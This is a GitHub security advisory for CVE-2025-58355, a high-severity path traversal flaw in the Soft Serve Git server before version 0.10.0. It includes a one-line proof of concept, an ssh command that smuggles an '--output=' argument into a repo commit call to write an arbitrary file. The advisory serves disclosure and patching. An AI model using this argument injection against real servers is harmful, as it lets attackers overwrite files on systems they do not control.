GitHub Advisoryadvisory · Go
GHSA-33pr-m977-5w97 Soft Serve vulnerable to arbitrary file writing through SSH API
HIGH
Official page ↗
- Aliases
- CVE-2025-58355
- Ecosystem
- Go
- Packages
- github.com/charmbracelet/soft-serve
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N
- Weaknesses
- CWE-22
- Reviewed
- 2025-09-02
Affected packages
• Go github.com/charmbracelet/soft-serve: < 0.10.0 → fixed in 0.10.0
Description
Attackers can create/override arbitrary files with uncontrolled data.
For a PoC, spin up an instance of soft-serve as explained in the README, and execute the following command:
```sh
ssh -p23231 localhost repo commit icecream -- --output=/tmp/pwned
```
It should have created a file in `/tmp/pwned`.
Related
Alias · CVE (1)
- CVE-2025-58355 Soft Serve is a self-hostable Git server for the command line. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness